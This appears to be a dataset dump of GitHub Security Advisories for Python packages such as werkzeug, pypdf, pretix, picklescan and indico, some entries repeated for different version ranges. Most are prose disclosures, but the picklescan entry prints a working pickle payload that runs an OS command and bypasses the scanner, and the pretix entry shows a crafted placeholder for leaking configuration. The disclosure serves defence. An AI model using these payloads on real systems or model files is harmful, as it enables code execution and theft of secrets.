deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-29vq-49wr-vm6x
Package: werkzeug (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-67: Improper Handling of Windows Device Names
Vulnerable versions: < 3.1.6
Patched in: 3.1.6

Summary:  Werkzeug safe_join() allows Windows special device names

Details:
Werkzeug's `safe_join` function allows Windows device names as filenames if when preceded by other path segments.

This was previously reported as https://github.com/pallets/werkzeug/security/advisories/GHSA-hgf8-39gv-g3f2, but the added filtering failed to account for the fact that `safe_join` accepts paths with multiple segments, such as `example/NUL`.

`send_from_directory` uses `safe_join` to safely serve files at user-specified paths under a directory. If the application is running on Windows, and the requested path ends with a special device name, the file will be opened successfully, but reading will hang indefinitely.
GitHub Security Advisory: GHSA-c87c-78rc-vmv2
Package: dtale (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: < 3.20.0
Patched in: 3.20.0

Summary: D-Tale affected by Remote Code Execution through the /save-column-filter endpoint

Details:
### Impact
Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server.

### Patches
Users should upgrade to version 3.20.0.

### Workarounds
There are no workarounds for versions < 3.20.0
GitHub Security Advisory: GHSA-m4f3-qp2w-gwh6
Package: Nova (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: <= 30.2.1
Patched in: unpatched

Summary: OpenStack Nova calls qemu-img without format restrictions for resize 

Details:
An issue was discovered in OpenStack Nova before 30.2.2, 31 before 31.2.1, and 32 before 32.1.1. By writing a malicious QCOW header to a root or ephemeral disk and then triggering a resize, a user may convince Nova's Flat image backend to call qemu-img without a format restriction, resulting in an unsafe image resize operation that could destroy data on the host system. Only compute nodes using the Flat image backend (usually configured with use_cow_images=False) are affected.
GitHub Security Advisory: GHSA-m4f3-qp2w-gwh6
Package: Nova (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 31.0.0.0rc1, <= 31.2.0
Patched in: unpatched

Summary: OpenStack Nova calls qemu-img without format restrictions for resize 

Details:
An issue was discovered in OpenStack Nova before 30.2.2, 31 before 31.2.1, and 32 before 32.1.1. By writing a malicious QCOW header to a root or ephemeral disk and then triggering a resize, a user may convince Nova's Flat image backend to call qemu-img without a format restriction, resulting in an unsafe image resize operation that could destroy data on the host system. Only compute nodes using the Flat image backend (usually configured with use_cow_images=False) are affected.
GitHub Security Advisory: GHSA-m4f3-qp2w-gwh6
Package: Nova (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 32.0.0.0rc1, <= 32.1.0
Patched in: unpatched

Summary: OpenStack Nova calls qemu-img without format restrictions for resize 

Details:
An issue was discovered in OpenStack Nova before 30.2.2, 31 before 31.2.1, and 32 before 32.1.1. By writing a malicious QCOW header to a root or ephemeral disk and then triggering a resize, a user may convince Nova's Flat image backend to call qemu-img without a format restriction, resulting in an unsafe image resize operation that could destroy data on the host system. Only compute nodes using the Flat image backend (usually configured with use_cow_images=False) are affected.
GitHub Security Advisory: GHSA-xjw9-4gw8-4rqx
Package: semantic-kernel (PIP)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 1.39.4
Patched in: 1.39.4

Summary: Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable to remote code execution

Details:
### Impact:
An RCE vulnerability has been identified in Microsoft Semantic Kernel Python SDK, specifically within the `InMemoryVectorStore` filter functionality.

### Patches:
The problem has been fixed in [python-1.39.4](https://github.com/microsoft/semantic-kernel/releases/tag/python-1.39.4). Users should upgrade this version or higher.

### Workarounds:
Avoid using `InMemoryVectorStore` for production scenarios.

### References:
[Release python-1.39.4 · microsoft/semantic-kernel · GitHub](https://github.com/microsoft/semantic-kernel/releases/tag/python-1.39.4)
[PR to block use of dangerous attribute names that must not be accessed in filter expressions](https://github.com/microsoft/semantic-kernel/pull/13505)
GitHub Security Advisory: GHSA-9mvc-8737-8j8h
Package: pypdf (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 6.7.1
Patched in: 6.7.1

Summary: pypdf possibly has long runtimes for malformed FlateDecode streams

Details:
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a malformed `/FlateDecode` stream, where the byte-by-byte decompression is used.

### Patches

This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#3644](https://github.com/py-pdf/pypdf/pull/3644).
GitHub Security Advisory: GHSA-wgvp-vg3v-2xq3
Package: pypdf (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-834: Excessive Iteration
Vulnerable versions: < 6.7.1
Patched in: 6.7.1

Summary: pypdf has possible long runtimes/large memory usage for large /ToUnicode streams

Details:
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction.

### Patches

This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#3646](https://github.com/py-pdf/pypdf/pull/3646).
GitHub Security Advisory: GHSA-996q-pr4m-cvgq
Package: pypdf (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: < 6.7.1
Patched in: 6.7.1

Summary: pypdf has a possible infinite loop when processing TreeObject

Details:
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the children of a `TreeObject`, for example as part of outlines.

### Patches

This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#3645](https://github.com/py-pdf/pypdf/pull/3645).
GitHub Security Advisory: GHSA-r8p8-qw9w-j9qv
Package: pretix (PIP)
Severity: HIGH (CVSS 5.9)
CWE: CWE-627: Dynamic Variable Evaluation
Vulnerable versions: < 2025.9.4
Patched in: 2025.9.4

Summary: pretix unsafely evaluates variables in emails

Details:
Emails sent by pretix can utilize placeholders that will be filled with customer data. For example, when `{name}` is used in an email template, it will  be replaced with the buyer's name for the final email. This mechanism contained two security-relevant bugs:

 -  It was possible to exfiltrate information about the pretix system through specially crafted placeholder names such as `{event.__init__.__code__.co_filename}}`. This way, an attacker with the ability to control email templates (usually every user of the pretix backend) could retrieve sensitive information from the system configuration, including even database passwords or API keys. pretix does include mechanisms to prevent the usage of such malicious placeholders, however due to a mistake in the code, they were not fully effective for the email subject.

 -  Placeholders in subjects and plain text bodies of emails were wrongfully evaluated twice. Therefore, if the first evaluation of a placeholder again contains a placeholder, this second placeholder was rendered. This allows the rendering of placeholders controlled by the ticket buyer, and therefore the exploitation of the first issue as a ticket buyer. Luckily, the only buyer-controlled placeholder available in pretix by default (that is not validated in a way that prevents the issue) is `{invoice_company}`, which is very unusual (but not impossible) to be contained in an email subject template. In addition to broadening the attack surface of the first issue, this could theoretically also leak information about an order to one of the attendees within that order. However, we also consider this scenario very unlikely under typical conditions.

Out of caution, pretix recommend that you rotate all passwords and API keys contained in your pretix.cfg https://docs.pretix.eu/self-hosting/config/  file.
GitHub Security Advisory: GHSA-r8p8-qw9w-j9qv
Package: pretix (PIP)
Severity: HIGH (CVSS 5.9)
CWE: CWE-627: Dynamic Variable Evaluation
Vulnerable versions: >= 2025.10.0, < 2025.10.2
Patched in: 2025.10.2

Summary: pretix unsafely evaluates variables in emails

Details:
Emails sent by pretix can utilize placeholders that will be filled with customer data. For example, when `{name}` is used in an email template, it will  be replaced with the buyer's name for the final email. This mechanism contained two security-relevant bugs:

 -  It was possible to exfiltrate information about the pretix system through specially crafted placeholder names such as `{event.__init__.__code__.co_filename}}`. This way, an attacker with the ability to control email templates (usually every user of the pretix backend) could retrieve sensitive information from the system configuration, including even database passwords or API keys. pretix does include mechanisms to prevent the usage of such malicious placeholders, however due to a mistake in the code, they were not fully effective for the email subject.

 -  Placeholders in subjects and plain text bodies of emails were wrongfully evaluated twice. Therefore, if the first evaluation of a placeholder again contains a placeholder, this second placeholder was rendered. This allows the rendering of placeholders controlled by the ticket buyer, and therefore the exploitation of the first issue as a ticket buyer. Luckily, the only buyer-controlled placeholder available in pretix by default (that is not validated in a way that prevents the issue) is `{invoice_company}`, which is very unusual (but not impossible) to be contained in an email subject template. In addition to broadening the attack surface of the first issue, this could theoretically also leak information about an order to one of the attendees within that order. However, we also consider this scenario very unlikely under typical conditions.

Out of caution, pretix recommend that you rotate all passwords and API keys contained in your pretix.cfg https://docs.pretix.eu/self-hosting/config/  file.
GitHub Security Advisory: GHSA-r8p8-qw9w-j9qv
Package: pretix (PIP)
Severity: HIGH (CVSS 5.9)
CWE: CWE-627: Dynamic Variable Evaluation
Vulnerable versions: >= 2026.1.0, < 2026.1.1
Patched in: 2026.1.1

Summary: pretix unsafely evaluates variables in emails

Details:
Emails sent by pretix can utilize placeholders that will be filled with customer data. For example, when `{name}` is used in an email template, it will  be replaced with the buyer's name for the final email. This mechanism contained two security-relevant bugs:

 -  It was possible to exfiltrate information about the pretix system through specially crafted placeholder names such as `{event.__init__.__code__.co_filename}}`. This way, an attacker with the ability to control email templates (usually every user of the pretix backend) could retrieve sensitive information from the system configuration, including even database passwords or API keys. pretix does include mechanisms to prevent the usage of such malicious placeholders, however due to a mistake in the code, they were not fully effective for the email subject.

 -  Placeholders in subjects and plain text bodies of emails were wrongfully evaluated twice. Therefore, if the first evaluation of a placeholder again contains a placeholder, this second placeholder was rendered. This allows the rendering of placeholders controlled by the ticket buyer, and therefore the exploitation of the first issue as a ticket buyer. Luckily, the only buyer-controlled placeholder available in pretix by default (that is not validated in a way that prevents the issue) is `{invoice_company}`, which is very unusual (but not impossible) to be contained in an email subject template. In addition to broadening the attack surface of the first issue, this could theoretically also leak information about an order to one of the attendees within that order. However, we also consider this scenario very unlikely under typical conditions.

Out of caution, pretix recommend that you rotate all passwords and API keys contained in your pretix.cfg https://docs.pretix.eu/self-hosting/config/  file.
GitHub Security Advisory: GHSA-6xw9-2p64-7622
Package: MindsDB (PIP)
Severity: LOW (CVSS 6.3)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 25.14.1
Patched in: unpatched

Summary: MindsDB affected by a SSRF vulnerability

Details:
A security vulnerability has been detected in MindsDB up to 25.14.1. This vulnerability affects the function clear_filename of the file mindsdb/utilities/security.py of the component File Upload. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.
GitHub Security Advisory: GHSA-97f8-7cmv-76j2
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 1.0.3
Patched in: 1.0.3

Summary: Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER

Details:
### Summary
This is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/[PII_REDACTED]9648ba7dee[PII_REDACTED]fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\_\_reduce\_\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.

### PoC
#### Attack Step 1
we can edit the source code of the function [\_legacy\_save()](https://github.com/pytorch/pytorch/blob/[PII_REDACTED]9648ba7dee[PII_REDACTED]fbd0e7f89/torch/serialization.py#L1120) as follows:
```Python
    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)
```
#### Attack Step 2
with the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:
```Python
import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
```

#### Picklescan result
```
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None !=[PII_REDACTED][PII_REDACTED]3356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0
```

#### Victim Step
```Python
import torch
torch.load('./payload.pt', weights_only=False)
```
then you can find the illegal file `/tmp/hacked` created in your local system.

### Impact
Craft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.
GitHub Security Advisory: GHSA-xfhx-r7ww-5995
Package: keras (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 3.0.0, < 3.12.1
Patched in: 3.12.1

Summary: Duplicate Advisory: Google Keras Allocates Resources Without Limits or Throttling in the HDF5 weight loading component

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mgx6-5cf9-rr43. This link is maintained to preserve external references.

### Original Description
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.12.0 and 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
GitHub Security Advisory: GHSA-ppfx-73j5-fhxc
Package: cisco-ai-skill-scanner (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-668: Exposure of Resource to Wrong Sphere
Vulnerable versions: < 1.0.2
Patched in: 1.0.2

Summary: Skill-scanner Unsecured Network Binding Vulnerability

Details:
**Description:**
A vulnerability in the API Server of Skill Scanner could allow a unauthenticated, remote attacker to interact with the server API and either trigger a denial of service (DoS) condition or upload arbitrary files.

This vulnerability is due to an erroneous binding to multiple interfaces. An attacker could exploit this vulnerability by sending API requests to a device exposing the affected API Server. A successful exploit could allow the attacker to consume an excessive amount of resources (memory starvation) or to upload files to arbitrary folders on the affected device.

**Conditions:**
This vulnerability affects Skill-scanner 1.0.1 and earlier releases when the API Server is enabled. The API Server is not enabled by default.

**Fixed Software:**
Skill-scanner software releases 1.0.2 and later contained the fix for this vulnerability.

**For more information:**
If you have any questions or comments about this advisory:
- [Open an issue in cisco-ai-defense/skill-scanner](https://github.com/cisco-ai-defense/skill-scanner/issues)
- Email Cisco Open Source Security ([oss-security@cisco.com](mailto:oss-security@cisco.com)) and Cisco PSIRT ([psirt@cisco.com](mailto:psirt@cisco.com))

**Credits:**

- Research: Richard Tweed (@RichardoC)
- Fix ideation and implementation: Richard Tweed (@RichardoC)
- Release engineering: Vineeth Sai Narajala (@vineethsai7)
GitHub Security Advisory: GHSA-jxc4-54g3-j7vp
Package: indico (PIP)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.3.10
Patched in: 3.3.10

Summary: Indico Affected by Cross-Site-Scripting via material uploads

Details:
### Impact
There is a Cross-Site-Scripting vulnerability when uploading certain file types as materials.

### Patches
You should to update to [Indico 3.3.10](https://github.com/indico/indico/releases/tag/v3.3.10) as soon as possible.
See [the docs](https://docs.getindico.io/en/stable/installation/upgrade/) for instructions on how to update.

Please be aware that to apply the fix itself updating is sufficient, but to benefit from the strict Content-Security-Policy we now apply by default for file downloads, you need to update your webserver config in case you use nginx with Indico's `STATIC_FILE_METHOD` set to `xaccelredirect` and add the following line to the `.xsf/indico/` location block (you can consult the Indico setup documentation for the full configuration snippet):

```nginx
add_header Content-Security-Policy $upstream_http_content_security_policy;
```

### Workarounds
- Use your webserver config to apply a strict CSP for material download endpoints.
- Only let trustworthy users create content (including material uploads, which speakers can typically do as well) on Indico.

### For more information
If you have any questions or comments about this advisory:

- Open a thread in [our forum](https://talk.getindico.io/)
- Email us privately at [indico-team@cern.ch](mailto:indico-team@cern.ch)
GitHub Security Advisory: GHSA-f47c-3c5w-v7p4
Package: indico (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 3.3.10
Patched in: 3.3.10

Summary: Indico has Server-Side Request Forgery (SSRF) in multiple places

Details:
### Impact
Indico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality, but of course it is never intended to let you access "special" targets such as localhost or cloud metadata endpoints.

### Patches
You should to update to [Indico 3.3.10](https://github.com/indico/indico/releases/tag/v3.3.10) as soon as possible.
See [the docs](https://docs.getindico.io/en/stable/installation/upgrade/) for instructions on how to update.

### Workarounds
If you do not have IPs that expose sensitive data without authentication (typically because you do not host Indico on AWS), this vulnerability doesn't impact you and you can ignore it (but please upgrade anyway).
Also, only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. So if you trust your event organizers, the risk is also very limited.

For additional security, both before and after patching, you could also use the common proxy-related environment variables (in particular `http_proxy` and `https_proxy`) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services. Please note that setting up such a proxy is not something we can help you with.

### For more information
If you have any questions or comments about this advisory:

- Open a thread in [our forum](https://talk.getindico.io/)
- Email us privately at [indico-team@cern.ch](mailto:indico-team@cern.ch)
GitHub Security Advisory: GHSA-33fm-6gp7-4p47
Package: Weblate (PIP)
Severity: MODERATE (CVSS 6.6)
CWE: CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Vulnerable versions: < 5.16.0
Patched in: 5.16.0

Summary: Weblate has an argument injection in management console

Details:
### Impact
The SSH management console did not validate the passed input while adding the SSH host key, which could lead to an argument injection to `ssh-add`.

### Patches
* https://github.com/WeblateOrg/weblate/pull/17722

### Workarounds
Properly limit access to the management console.

### References
This issue was reported to us by [alexb_616](https://hackerone.com/alexb_616) via HackerOne.